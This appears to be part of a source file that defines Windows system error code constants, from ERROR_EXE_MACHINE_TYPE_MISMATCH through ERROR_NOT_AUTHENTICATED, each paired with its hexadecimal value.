ERROR_EXE_MACHINE_TYPE_MISMATCH = 0x000000d8
ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 0x000000d9
ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 0x000000da
ERROR_FILE_CHECKED_OUT = 0x000000dc
ERROR_CHECKOUT_REQUIRED = 0x000000dd
ERROR_BAD_FILE_TYPE = 0x000000de
ERROR_FILE_TOO_LARGE = 0x000000df
ERROR_FORMS_AUTH_REQUIRED = 0x000000e0
ERROR_VIRUS_INFECTED = 0x000000e1
ERROR_VIRUS_DELETED = 0x000000e2
ERROR_PIPE_LOCAL = 0x000000e5
ERROR_BAD_PIPE = 0x000000e6
ERROR_PIPE_BUSY = 0x000000e7
ERROR_NO_DATA = 0x000000e8
ERROR_PIPE_NOT_CONNECTED = 0x000000e9
ERROR_MORE_DATA = 0x000000ea
ERROR_VC_DISCONNECTED = 0x000000f0
ERROR_INVALID_EA_NAME = 0x000000fe
ERROR_EA_LIST_INCONSISTENT = 0x000000ff
WAIT_TIMEOUT = 0x00000102
ERROR_NO_MORE_ITEMS = 0x00000103
ERROR_CANNOT_COPY = 0x0000010a
ERROR_DIRECTORY = 0x0000010b
ERROR_EAS_DIDNT_FIT = 0x00000113
ERROR_EA_FILE_CORRUPT = 0x00000114
ERROR_EA_TABLE_FULL = 0x00000115
ERROR_INVALID_EA_HANDLE = 0x00000116
ERROR_EAS_NOT_SUPPORTED = 0x0000011a
ERROR_NOT_OWNER = 0x00000120
ERROR_TOO_MANY_POSTS = 0x0000012a
ERROR_PARTIAL_COPY = 0x0000012b
ERROR_OPLOCK_NOT_GRANTED = 0x0000012c
ERROR_INVALID_OPLOCK_PROTOCOL = 0x0000012d
ERROR_DISK_TOO_FRAGMENTED = 0x0000012e
ERROR_DELETE_PENDING = 0x0000012f
ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING = 0x00000130
ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME = 0x00000131
ERROR_SECURITY_STREAM_IS_INCONSISTENT = 0x00000132
ERROR_INVALID_LOCK_RANGE = 0x00000133
ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT = 0x00000134
ERROR_NOTIFICATION_GUID_ALREADY_DEFINED = 0x00000135
ERROR_INVALID_EXCEPTION_HANDLER = 0x00000136
ERROR_DUPLICATE_PRIVILEGES = 0x00000137
ERROR_NO_RANGES_PROCESSED = 0x00000138
ERROR_NOT_ALLOWED_ON_SYSTEM_FILE = 0x00000139
ERROR_DISK_RESOURCES_EXHAUSTED = 0x0000013a
ERROR_INVALID_TOKEN = 0x0000013b
ERROR_DEVICE_FEATURE_NOT_SUPPORTED = 0x0000013c
ERROR_MR_MID_NOT_FOUND = 0x0000013d
ERROR_SCOPE_NOT_FOUND = 0x0000013e
ERROR_UNDEFINED_SCOPE = 0x0000013f
ERROR_INVALID_CAP = 0x00000140
ERROR_DEVICE_UNREACHABLE = 0x00000141
ERROR_DEVICE_NO_RESOURCES = 0x00000142
ERROR_DATA_CHECKSUM_ERROR = 0x00000143
ERROR_INTERMIXED_KERNEL_EA_OPERATION = 0x00000144
ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED = 0x00000146
ERROR_OFFSET_ALIGNMENT_VIOLATION = 0x00000147
ERROR_INVALID_FIELD_IN_PARAMETER_LIST = 0x00000148
ERROR_OPERATION_IN_PROGRESS = 0x00000149
ERROR_BAD_DEVICE_PATH = 0x0000014a
ERROR_TOO_MANY_DESCRIPTORS = 0x0000014b
ERROR_SCRUB_DATA_DISABLED = 0x0000014c
ERROR_NOT_REDUNDANT_STORAGE = 0x0000014d
ERROR_RESIDENT_FILE_NOT_SUPPORTED = 0x0000014e
ERROR_COMPRESSED_FILE_NOT_SUPPORTED = 0x0000014f
ERROR_DIRECTORY_NOT_SUPPORTED = 0x00000150
ERROR_NOT_READ_FROM_COPY = 0x00000151
ERROR_FT_WRITE_FAILURE = 0x00000152
ERROR_FT_DI_SCAN_REQUIRED = 0x00000153
ERROR_INVALID_KERNEL_INFO_VERSION = 0x00000154
ERROR_INVALID_PEP_INFO_VERSION = 0x00000155
ERROR_FAIL_NOACTION_REBOOT = 0x0000015e
ERROR_FAIL_SHUTDOWN = 0x0000015f
ERROR_FAIL_RESTART = 0x00000160
ERROR_MAX_SESSIONS_REACHED = 0x00000161
ERROR_THREAD_MODE_ALREADY_BACKGROUND = 0x00000190
ERROR_THREAD_MODE_NOT_BACKGROUND = 0x00000191
ERROR_PROCESS_MODE_ALREADY_BACKGROUND = 0x00000192
ERROR_PROCESS_MODE_NOT_BACKGROUND = 0x00000193
ERROR_INVALID_ADDRESS = 0x000001e7
ERROR_USER_PROFILE_LOAD = 0x000001f4
ERROR_ARITHMETIC_OVERFLOW = 0x00000216
ERROR_PIPE_CONNECTED = 0x00000217
ERROR_PIPE_LISTENING = 0x00000218
ERROR_VERIFIER_STOP = 0x00000219
ERROR_ABIOS_ERROR = 0x0000021a
ERROR_WX86_WARNING = 0x0000021b
ERROR_WX86_ERROR = 0x0000021c
ERROR_TIMER_NOT_CANCELED = 0x0000021d
ERROR_UNWIND = 0x0000021e
ERROR_BAD_STACK = 0x0000021f
ERROR_INVALID_UNWIND_TARGET = 0x00000220
ERROR_INVALID_PORT_ATTRIBUTES = 0x00000221
ERROR_PORT_MESSAGE_TOO_LONG = 0x00000222
ERROR_INVALID_QUOTA_LOWER = 0x00000223
ERROR_DEVICE_ALREADY_ATTACHED = 0x00000224
ERROR_INSTRUCTION_MISALIGNMENT = 0x00000225
ERROR_PROFILING_NOT_STARTED = 0x00000226
ERROR_PROFILING_NOT_STOPPED = 0x00000227
ERROR_COULD_NOT_INTERPRET = 0x00000228
ERROR_PROFILING_AT_LIMIT = 0x00000229
ERROR_CANT_WAIT = 0x0000022a
ERROR_CANT_TERMINATE_SELF = 0x0000022b
ERROR_UNEXPECTED_MM_CREATE_ERR = 0x0000022c
ERROR_UNEXPECTED_MM_MAP_ERROR = 0x0000022d
ERROR_UNEXPECTED_MM_EXTEND_ERR = 0x0000022e
ERROR_BAD_FUNCTION_TABLE = 0x0000022f
ERROR_NO_GUID_TRANSLATION = 0x00000230
ERROR_INVALID_LDT_SIZE = 0x00000231
ERROR_INVALID_LDT_OFFSET = 0x00000233
ERROR_INVALID_LDT_DESCRIPTOR = 0x00000234
ERROR_TOO_MANY_THREADS = 0x00000235
ERROR_THREAD_NOT_IN_PROCESS = 0x00000236
ERROR_PAGEFILE_QUOTA_EXCEEDED = 0x00000237
ERROR_LOGON_SERVER_CONFLICT = 0x00000238
ERROR_SYNCHRONIZATION_REQUIRED = 0x00000239
ERROR_NET_OPEN_FAILED = 0x0000023a
ERROR_IO_PRIVILEGE_FAILED = 0x0000023b
ERROR_CONTROL_C_EXIT = 0x0000023c
ERROR_MISSING_SYSTEMFILE = 0x0000023d
ERROR_UNHANDLED_EXCEPTION = 0x0000023e
ERROR_APP_INIT_FAILURE = 0x0000023f
ERROR_PAGEFILE_CREATE_FAILED = 0x00000240
ERROR_INVALID_IMAGE_HASH = 0x00000241
ERROR_NO_PAGEFILE = 0x00000242
ERROR_ILLEGAL_FLOAT_CONTEXT = 0x00000243
ERROR_NO_EVENT_PAIR = 0x00000244
ERROR_DOMAIN_CTRLR_CONFIG_ERROR = 0x00000245
ERROR_ILLEGAL_CHARACTER = 0x00000246
ERROR_UNDEFINED_CHARACTER = 0x00000247
ERROR_FLOPPY_VOLUME = 0x00000248
ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT = 0x00000249
ERROR_BACKUP_CONTROLLER = 0x0000024a
ERROR_MUTANT_LIMIT_EXCEEDED = 0x0000024b
ERROR_FS_DRIVER_REQUIRED = 0x0000024c
ERROR_CANNOT_LOAD_REGISTRY_FILE = 0x0000024d
ERROR_DEBUG_ATTACH_FAILED = 0x0000024e
ERROR_SYSTEM_PROCESS_TERMINATED = 0x0000024f
ERROR_DATA_NOT_ACCEPTED = 0x00000250
ERROR_VDM_HARD_ERROR = 0x00000251
ERROR_DRIVER_CANCEL_TIMEOUT = 0x00000252
ERROR_REPLY_MESSAGE_MISMATCH = 0x00000253
ERROR_LOST_WRITEBEHIND_DATA = 0x00000254
ERROR_CLIENT_SERVER_PARAMETERS_INVALID = 0x00000255
ERROR_NOT_TINY_STREAM = 0x00000256
ERROR_STACK_OVERFLOW_READ = 0x00000257
ERROR_CONVERT_TO_LARGE = 0x00000258
ERROR_FOUND_OUT_OF_SCOPE = 0x00000259
ERROR_ALLOCATE_BUCKET = 0x0000025a
ERROR_MARSHALL_OVERFLOW = 0x0000025b
ERROR_INVALID_VARIANT = 0x0000025c
ERROR_BAD_COMPRESSION_BUFFER = 0x0000025d
ERROR_AUDIT_FAILED = 0x0000025e
ERROR_TIMER_RESOLUTION_NOT_SET = 0x0000025f
ERROR_INSUFFICIENT_LOGON_INFO = 0x00000260
ERROR_BAD_DLL_ENTRYPOINT = 0x00000261
ERROR_BAD_SERVICE_ENTRYPOINT = 0x00000262
ERROR_IP_ADDRESS_CONFLICT1 = 0x00000263
ERROR_IP_ADDRESS_CONFLICT2 = 0x00000264
ERROR_REGISTRY_QUOTA_LIMIT = 0x00000265
ERROR_NO_CALLBACK_ACTIVE = 0x00000266
ERROR_PWD_TOO_SHORT = 0x00000267
ERROR_PWD_TOO_RECENT = 0x00000268
ERROR_PWD_HISTORY_CONFLICT = 0x00000269
ERROR_UNSUPPORTED_COMPRESSION = 0x0000026a
ERROR_INVALID_HW_PROFILE = 0x0000026b
ERROR_INVALID_PLUGPLAY_DEVICE_PATH = 0x0000026c
ERROR_QUOTA_LIST_INCONSISTENT = 0x0000026d
ERROR_EVALUATION_EXPIRATION = 0x0000026e
ERROR_ILLEGAL_DLL_RELOCATION = 0x0000026f
ERROR_DLL_INIT_FAILED_LOGOFF = 0x00000270
ERROR_VALIDATE_CONTINUE = 0x00000271
ERROR_NO_MORE_MATCHES = 0x00000272
ERROR_RANGE_LIST_CONFLICT = 0x00000273
ERROR_SERVER_SID_MISMATCH = 0x00000274
ERROR_CANT_ENABLE_DENY_ONLY = 0x00000275
ERROR_FLOAT_MULTIPLE_FAULTS = 0x00000276
ERROR_FLOAT_MULTIPLE_TRAPS = 0x00000277
ERROR_NOINTERFACE = 0x00000278
ERROR_DRIVER_FAILED_SLEEP = 0x00000279
ERROR_CORRUPT_SYSTEM_FILE = 0x0000027a
ERROR_COMMITMENT_MINIMUM = 0x0000027b
ERROR_PNP_RESTART_ENUMERATION = 0x0000027c
ERROR_SYSTEM_IMAGE_BAD_SIGNATURE = 0x0000027d
ERROR_PNP_REBOOT_REQUIRED = 0x0000027e
ERROR_INSUFFICIENT_POWER = 0x0000027f
ERROR_MULTIPLE_FAULT_VIOLATION = 0x00000280
ERROR_SYSTEM_SHUTDOWN = 0x00000281
ERROR_PORT_NOT_SET = 0x00000282
ERROR_DS_VERSION_CHECK_FAILURE = 0x00000283
ERROR_RANGE_NOT_FOUND = 0x00000284
ERROR_NOT_SAFE_MODE_DRIVER = 0x00000286
ERROR_FAILED_DRIVER_ENTRY = 0x00000287
ERROR_DEVICE_ENUMERATION_ERROR = 0x00000288
ERROR_MOUNT_POINT_NOT_RESOLVED = 0x00000289
ERROR_INVALID_DEVICE_OBJECT_PARAMETER = 0x0000028a
ERROR_MCA_OCCURED = 0x0000028b
ERROR_DRIVER_DATABASE_ERROR = 0x0000028c
ERROR_SYSTEM_HIVE_TOO_LARGE = 0x0000028d
ERROR_DRIVER_FAILED_PRIOR_UNLOAD = 0x0000028e
ERROR_VOLSNAP_PREPARE_HIBERNATE = 0x0000028f
ERROR_HIBERNATION_FAILURE = 0x00000290
ERROR_PWD_TOO_LONG = 0x00000291
ERROR_FILE_SYSTEM_LIMITATION = 0x00000299
ERROR_ASSERTION_FAILURE = 0x0000029c
ERROR_ACPI_ERROR = 0x0000029d
ERROR_WOW_ASSERTION = 0x0000029e
ERROR_PNP_BAD_MPS_TABLE = 0x0000029f
ERROR_PNP_TRANSLATION_FAILED = 0x000002a0
ERROR_PNP_IRQ_TRANSLATION_FAILED = 0x000002a1
ERROR_PNP_INVALID_ID = 0x000002a2
ERROR_WAKE_SYSTEM_DEBUGGER = 0x000002a3
ERROR_HANDLES_CLOSED = 0x000002a4
ERROR_EXTRANEOUS_INFORMATION = 0x000002a5
ERROR_RXACT_COMMIT_NECESSARY = 0x000002a6
ERROR_MEDIA_CHECK = 0x000002a7
ERROR_GUID_SUBSTITUTION_MADE = 0x000002a8
ERROR_STOPPED_ON_SYMLINK = 0x000002a9
ERROR_LONGJUMP = 0x000002aa
ERROR_PLUGPLAY_QUERY_VETOED = 0x000002ab
ERROR_UNWIND_CONSOLIDATE = 0x000002ac
ERROR_REGISTRY_HIVE_RECOVERED = 0x000002ad
ERROR_DLL_MIGHT_BE_INSECURE = 0x000002ae
ERROR_DLL_MIGHT_BE_INCOMPATIBLE = 0x000002af
ERROR_DBG_EXCEPTION_NOT_HANDLED = 0x000002b0
ERROR_DBG_REPLY_LATER = 0x000002b1
ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 0x000002b2
ERROR_DBG_TERMINATE_THREAD = 0x000002b3
ERROR_DBG_TERMINATE_PROCESS = 0x000002b4
ERROR_DBG_CONTROL_C = 0x000002b5
ERROR_DBG_PRINTEXCEPTION_C = 0x000002b6
ERROR_DBG_RIPEXCEPTION = 0x000002b7
ERROR_DBG_CONTROL_BREAK = 0x000002b8
ERROR_DBG_COMMAND_EXCEPTION = 0x000002b9
ERROR_OBJECT_NAME_EXISTS = 0x000002ba
ERROR_THREAD_WAS_SUSPENDED = 0x000002bb
ERROR_IMAGE_NOT_AT_BASE = 0x000002bc
ERROR_RXACT_STATE_CREATED = 0x000002bd
ERROR_SEGMENT_NOTIFICATION = 0x000002be
ERROR_BAD_CURRENT_DIRECTORY = 0x000002bf
ERROR_FT_READ_RECOVERY_FROM_BACKUP = 0x000002c0
ERROR_FT_WRITE_RECOVERY = 0x000002c1
ERROR_IMAGE_MACHINE_TYPE_MISMATCH = 0x000002c2
ERROR_RECEIVE_PARTIAL = 0x000002c3
ERROR_RECEIVE_EXPEDITED = 0x000002c4
ERROR_RECEIVE_PARTIAL_EXPEDITED = 0x000002c5
ERROR_EVENT_DONE = 0x000002c6
ERROR_EVENT_PENDING = 0x000002c7
ERROR_CHECKING_FILE_SYSTEM = 0x000002c8
ERROR_FATAL_APP_EXIT = 0x000002c9
ERROR_PREDEFINED_HANDLE = 0x000002ca
ERROR_WAS_UNLOCKED = 0x000002cb
ERROR_SERVICE_NOTIFICATION = 0x000002cc
ERROR_WAS_LOCKED = 0x000002cd
ERROR_LOG_HARD_ERROR = 0x000002ce
ERROR_ALREADY_WIN32 = 0x000002cf
ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 0x000002d0
ERROR_NO_YIELD_PERFORMED = 0x000002d1
ERROR_TIMER_RESUME_IGNORED = 0x000002d2
ERROR_ARBITRATION_UNHANDLED = 0x000002d3
ERROR_CARDBUS_NOT_SUPPORTED = 0x000002d4
ERROR_MP_PROCESSOR_MISMATCH = 0x000002d5
ERROR_HIBERNATED = 0x000002d6
ERROR_RESUME_HIBERNATION = 0x000002d7
ERROR_FIRMWARE_UPDATED = 0x000002d8
ERROR_DRIVERS_LEAKING_LOCKED_PAGES = 0x000002d9
ERROR_WAKE_SYSTEM = 0x000002da
ERROR_WAIT_1 = 0x000002db
ERROR_WAIT_2 = 0x000002dc
ERROR_WAIT_3 = 0x000002dd
ERROR_WAIT_63 = 0x000002de
ERROR_ABANDONED_WAIT_0 = 0x000002df
ERROR_ABANDONED_WAIT_63 = 0x000002e0
ERROR_USER_APC = 0x000002e1
ERROR_KERNEL_APC = 0x000002e2
ERROR_ALERTED = 0x000002e3
ERROR_ELEVATION_REQUIRED = 0x000002e4
ERROR_REPARSE = 0x000002e5
ERROR_OPLOCK_BREAK_IN_PROGRESS = 0x000002e6
ERROR_VOLUME_MOUNTED = 0x000002e7
ERROR_RXACT_COMMITTED = 0x000002e8
ERROR_NOTIFY_CLEANUP = 0x000002e9
ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED = 0x000002ea
ERROR_PAGE_FAULT_TRANSITION = 0x000002eb
ERROR_PAGE_FAULT_DEMAND_ZERO = 0x000002ec
ERROR_PAGE_FAULT_COPY_ON_WRITE = 0x000002ed
ERROR_PAGE_FAULT_GUARD_PAGE = 0x000002ee
ERROR_PAGE_FAULT_PAGING_FILE = 0x000002ef
ERROR_CACHE_PAGE_LOCKED = 0x000002f0
ERROR_CRASH_DUMP = 0x000002f1
ERROR_BUFFER_ALL_ZEROS = 0x000002f2
ERROR_REPARSE_OBJECT = 0x000002f3
ERROR_RESOURCE_REQUIREMENTS_CHANGED = 0x000002f4
ERROR_TRANSLATION_COMPLETE = 0x000002f5
ERROR_NOTHING_TO_TERMINATE = 0x000002f6
ERROR_PROCESS_NOT_IN_JOB = 0x000002f7
ERROR_PROCESS_IN_JOB = 0x000002f8
ERROR_VOLSNAP_HIBERNATE_READY = 0x000002f9
ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 0x000002fa
ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED = 0x000002fb
ERROR_INTERRUPT_STILL_CONNECTED = 0x000002fc
ERROR_WAIT_FOR_OPLOCK = 0x000002fd
ERROR_DBG_EXCEPTION_HANDLED = 0x000002fe
ERROR_DBG_CONTINUE = 0x000002ff
ERROR_CALLBACK_POP_STACK = 0x00000300
ERROR_COMPRESSION_DISABLED = 0x00000301
ERROR_CANTFETCHBACKWARDS = 0x00000302
ERROR_CANTSCROLLBACKWARDS = 0x00000303
ERROR_ROWSNOTRELEASED = 0x00000304
ERROR_BAD_ACCESSOR_FLAGS = 0x00000305
ERROR_ERRORS_ENCOUNTERED = 0x00000306
ERROR_NOT_CAPABLE = 0x00000307
ERROR_REQUEST_OUT_OF_SEQUENCE = 0x00000308
ERROR_VERSION_PARSE_ERROR = 0x00000309
ERROR_BADSTARTPOSITION = 0x0000030a
ERROR_MEMORY_HARDWARE = 0x0000030b
ERROR_DISK_REPAIR_DISABLED = 0x0000030c
ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE = 0x0000030d
ERROR_SYSTEM_POWERSTATE_TRANSITION = 0x0000030e
ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 0x0000030f
ERROR_MCA_EXCEPTION = 0x00000310
ERROR_ACCESS_AUDIT_BY_POLICY = 0x00000311
ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY = 0x00000312
ERROR_ABANDON_HIBERFILE = 0x00000313
ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED = 0x00000314
ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR = 0x00000315
ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR = 0x00000316
ERROR_BAD_MCFG_TABLE = 0x00000317
ERROR_DISK_REPAIR_REDIRECTED = 0x00000318
ERROR_DISK_REPAIR_UNSUCCESSFUL = 0x00000319
ERROR_CORRUPT_LOG_OVERFULL = 0x0000031a
ERROR_CORRUPT_LOG_CORRUPTED = 0x0000031b
ERROR_CORRUPT_LOG_UNAVAILABLE = 0x0000031c
ERROR_CORRUPT_LOG_DELETED_FULL = 0x0000031d
ERROR_CORRUPT_LOG_CLEARED = 0x0000031e
ERROR_ORPHAN_NAME_EXHAUSTED = 0x0000031f
ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE = 0x00000320
ERROR_CANNOT_GRANT_REQUESTED_OPLOCK = 0x00000321
ERROR_CANNOT_BREAK_OPLOCK = 0x00000322
ERROR_OPLOCK_HANDLE_CLOSED = 0x00000323
ERROR_NO_ACE_CONDITION = 0x00000324
ERROR_INVALID_ACE_CONDITION = 0x00000325
ERROR_FILE_HANDLE_REVOKED = 0x00000326
ERROR_IMAGE_AT_DIFFERENT_BASE = 0x00000327
ERROR_EA_ACCESS_DENIED = 0x000003e2
ERROR_OPERATION_ABORTED = 0x000003e3
ERROR_IO_INCOMPLETE = 0x000003e4
ERROR_IO_PENDING = 0x000003e5
ERROR_NOACCESS = 0x000003e6
ERROR_SWAPERROR = 0x000003e7
ERROR_STACK_OVERFLOW = 0x000003e9
ERROR_INVALID_MESSAGE = 0x000003ea
ERROR_CAN_NOT_COMPLETE = 0x000003eb
ERROR_INVALID_FLAGS = 0x000003ec
ERROR_UNRECOGNIZED_VOLUME = 0x000003ed
ERROR_FILE_INVALID = 0x000003ee
ERROR_FULLSCREEN_MODE = 0x000003ef
ERROR_NO_TOKEN = 0x000003f0
ERROR_BADDB = 0x000003f1
ERROR_BADKEY = 0x000003f2
ERROR_CANTOPEN = 0x000003f3
ERROR_CANTREAD = 0x000003f4
ERROR_CANTWRITE = 0x000003f5
ERROR_REGISTRY_RECOVERED = 0x000003f6
ERROR_REGISTRY_CORRUPT = 0x000003f7
ERROR_REGISTRY_IO_FAILED = 0x000003f8
ERROR_NOT_REGISTRY_FILE = 0x000003f9
ERROR_KEY_DELETED = 0x000003fa
ERROR_NO_LOG_SPACE = 0x000003fb
ERROR_KEY_HAS_CHILDREN = 0x000003fc
ERROR_CHILD_MUST_BE_VOLATILE = 0x000003fd
ERROR_NOTIFY_ENUM_DIR = 0x000003fe
ERROR_DEPENDENT_SERVICES_RUNNING = 0x0000041b
ERROR_INVALID_SERVICE_CONTROL = 0x0000041c
ERROR_SERVICE_REQUEST_TIMEOUT = 0x0000041d
ERROR_SERVICE_NO_THREAD = 0x0000041e
ERROR_SERVICE_DATABASE_LOCKED = 0x0000041f
ERROR_SERVICE_ALREADY_RUNNING = 0x00000420
ERROR_INVALID_SERVICE_ACCOUNT = 0x00000421
ERROR_SERVICE_DISABLED = 0x00000422
ERROR_CIRCULAR_DEPENDENCY = 0x00000423
ERROR_SERVICE_DOES_NOT_EXIST = 0x00000424
ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 0x00000425
ERROR_SERVICE_NOT_ACTIVE = 0x00000426
ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 0x00000427
ERROR_EXCEPTION_IN_SERVICE = 0x00000428
ERROR_DATABASE_DOES_NOT_EXIST = 0x00000429
ERROR_SERVICE_SPECIFIC_ERROR = 0x0000042a
ERROR_PROCESS_ABORTED = 0x0000042b
ERROR_SERVICE_DEPENDENCY_FAIL = 0x0000042c
ERROR_SERVICE_LOGON_FAILED = 0x0000042d
ERROR_SERVICE_START_HANG = 0x0000042e
ERROR_INVALID_SERVICE_LOCK = 0x0000042f
ERROR_SERVICE_MARKED_FOR_DELETE = 0x00000430
ERROR_SERVICE_EXISTS = 0x00000431
ERROR_ALREADY_RUNNING_LKG = 0x00000432
ERROR_SERVICE_DEPENDENCY_DELETED = 0x00000433
ERROR_BOOT_ALREADY_ACCEPTED = 0x00000434
ERROR_SERVICE_NEVER_STARTED = 0x00000435
ERROR_DUPLICATE_SERVICE_NAME = 0x00000436
ERROR_DIFFERENT_SERVICE_ACCOUNT = 0x00000437
ERROR_CANNOT_DETECT_DRIVER_FAILURE = 0x00000438
ERROR_CANNOT_DETECT_PROCESS_ABORT = 0x00000439
ERROR_NO_RECOVERY_PROGRAM = 0x0000043a
ERROR_SERVICE_NOT_IN_EXE = 0x0000043b
ERROR_NOT_SAFEBOOT_SERVICE = 0x0000043c
ERROR_END_OF_MEDIA = 0x0000044c
ERROR_FILEMARK_DETECTED = 0x0000044d
ERROR_BEGINNING_OF_MEDIA = 0x0000044e
ERROR_SETMARK_DETECTED = 0x0000044f
ERROR_NO_DATA_DETECTED = 0x00000450
ERROR_PARTITION_FAILURE = 0x00000451
ERROR_INVALID_BLOCK_LENGTH = 0x00000452
ERROR_DEVICE_NOT_PARTITIONED = 0x00000453
ERROR_UNABLE_TO_LOCK_MEDIA = 0x00000454
ERROR_UNABLE_TO_UNLOAD_MEDIA = 0x00000455
ERROR_MEDIA_CHANGED = 0x00000456
ERROR_BUS_RESET = 0x00000457
ERROR_NO_MEDIA_IN_DRIVE = 0x00000458
ERROR_NO_UNICODE_TRANSLATION = 0x00000459
ERROR_DLL_INIT_FAILED = 0x0000045a
ERROR_SHUTDOWN_IN_PROGRESS = 0x0000045b
ERROR_NO_SHUTDOWN_IN_PROGRESS = 0x0000045c
ERROR_IO_DEVICE = 0x0000045d
ERROR_SERIAL_NO_DEVICE = 0x0000045e
ERROR_IRQ_BUSY = 0x0000045f
ERROR_MORE_WRITES = 0x00000460
ERROR_COUNTER_TIMEOUT = 0x00000461
ERROR_FLOPPY_ID_MARK_NOT_FOUND = 0x00000462
ERROR_FLOPPY_WRONG_CYLINDER = 0x00000463
ERROR_FLOPPY_UNKNOWN_ERROR = 0x00000464
ERROR_FLOPPY_BAD_REGISTERS = 0x00000465
ERROR_DISK_RECALIBRATE_FAILED = 0x00000466
ERROR_DISK_OPERATION_FAILED = 0x00000467
ERROR_DISK_RESET_FAILED = 0x00000468
ERROR_EOM_OVERFLOW = 0x00000469
ERROR_NOT_ENOUGH_SERVER_MEMORY = 0x0000046a
ERROR_POSSIBLE_DEADLOCK = 0x0000046b
ERROR_MAPPED_ALIGNMENT = 0x0000046c
ERROR_SET_POWER_STATE_VETOED = 0x00000474
ERROR_SET_POWER_STATE_FAILED = 0x00000475
ERROR_TOO_MANY_LINKS = 0x00000476
ERROR_OLD_WIN_VERSION = 0x0000047e
ERROR_APP_WRONG_OS = 0x0000047f
ERROR_SINGLE_INSTANCE_APP = 0x00000480
ERROR_RMODE_APP = 0x00000481
ERROR_INVALID_DLL = 0x00000482
ERROR_NO_ASSOCIATION = 0x00000483
ERROR_DDE_FAIL = 0x00000484
ERROR_DLL_NOT_FOUND = 0x00000485
ERROR_NO_MORE_USER_HANDLES = 0x00000486
ERROR_MESSAGE_SYNC_ONLY = 0x00000487
ERROR_SOURCE_ELEMENT_EMPTY = 0x00000488
ERROR_DESTINATION_ELEMENT_FULL = 0x00000489
ERROR_ILLEGAL_ELEMENT_ADDRESS = 0x0000048a
ERROR_MAGAZINE_NOT_PRESENT = 0x0000048b
ERROR_DEVICE_REINITIALIZATION_NEEDED = 0x0000048c
ERROR_DEVICE_REQUIRES_CLEANING = 0x0000048d
ERROR_DEVICE_DOOR_OPEN = 0x0000048e
ERROR_DEVICE_NOT_CONNECTED = 0x0000048f
ERROR_NOT_FOUND = 0x00000490
ERROR_NO_MATCH = 0x00000491
ERROR_SET_NOT_FOUND = 0x00000492
ERROR_POINT_NOT_FOUND = 0x00000493
ERROR_NO_TRACKING_SERVICE = 0x00000494
ERROR_NO_VOLUME_ID = 0x00000495
ERROR_UNABLE_TO_REMOVE_REPLACED = 0x00000497
ERROR_UNABLE_TO_MOVE_REPLACEMENT = 0x00000498
ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 = 0x00000499
ERROR_JOURNAL_DELETE_IN_PROGRESS = 0x0000049a
ERROR_JOURNAL_NOT_ACTIVE = 0x0000049b
ERROR_POTENTIAL_FILE_FOUND = 0x0000049c
ERROR_JOURNAL_ENTRY_DELETED = 0x0000049d
ERROR_SHUTDOWN_IS_SCHEDULED = 0x000004a6
ERROR_SHUTDOWN_USERS_LOGGED_ON = 0x000004a7
ERROR_BAD_DEVICE = 0x000004b0
ERROR_CONNECTION_UNAVAIL = 0x000004b1
ERROR_DEVICE_ALREADY_REMEMBERED = 0x000004b2
ERROR_NO_NET_OR_BAD_PATH = 0x000004b3
ERROR_BAD_PROVIDER = 0x000004b4
ERROR_CANNOT_OPEN_PROFILE = 0x000004b5
ERROR_BAD_PROFILE = 0x000004b6
ERROR_NOT_CONTAINER = 0x000004b7
ERROR_EXTENDED_ERROR = 0x000004b8
ERROR_INVALID_GROUPNAME = 0x000004b9
ERROR_INVALID_COMPUTERNAME = 0x000004ba
ERROR_INVALID_EVENTNAME = 0x000004bb
ERROR_INVALID_DOMAINNAME = 0x000004bc
ERROR_INVALID_SERVICENAME = 0x000004bd
ERROR_INVALID_NETNAME = 0x000004be
ERROR_INVALID_SHARENAME = 0x000004bf
ERROR_INVALID_PASSWORDNAME = 0x000004c0
ERROR_INVALID_MESSAGENAME = 0x000004c1
ERROR_INVALID_MESSAGEDEST = 0x000004c2
ERROR_SESSION_CREDENTIAL_CONFLICT = 0x000004c3
ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 0x000004c4
ERROR_DUP_DOMAINNAME = 0x000004c5
ERROR_NO_NETWORK = 0x000004c6
ERROR_CANCELLED = 0x000004c7
ERROR_USER_MAPPED_FILE = 0x000004c8
ERROR_CONNECTION_REFUSED = 0x000004c9
ERROR_GRACEFUL_DISCONNECT = 0x000004ca
ERROR_ADDRESS_ALREADY_ASSOCIATED = 0x000004cb
ERROR_ADDRESS_NOT_ASSOCIATED = 0x000004cc
ERROR_CONNECTION_INVALID = 0x000004cd
ERROR_CONNECTION_ACTIVE = 0x000004ce
ERROR_NETWORK_UNREACHABLE = 0x000004cf
ERROR_HOST_UNREACHABLE = 0x000004d0
ERROR_PROTOCOL_UNREACHABLE = 0x000004d1
ERROR_PORT_UNREACHABLE = 0x000004d2
ERROR_REQUEST_ABORTED = 0x000004d3
ERROR_CONNECTION_ABORTED = 0x000004d4
ERROR_RETRY = 0x000004d5
ERROR_CONNECTION_COUNT_LIMIT = 0x000004d6
ERROR_LOGIN_TIME_RESTRICTION = 0x000004d7
ERROR_LOGIN_WKSTA_RESTRICTION = 0x000004d8
ERROR_INCORRECT_ADDRESS = 0x000004d9
ERROR_ALREADY_REGISTERED = 0x000004da
ERROR_SERVICE_NOT_FOUND = 0x000004db
ERROR_NOT_AUTHENTICATED = 0x000004dc
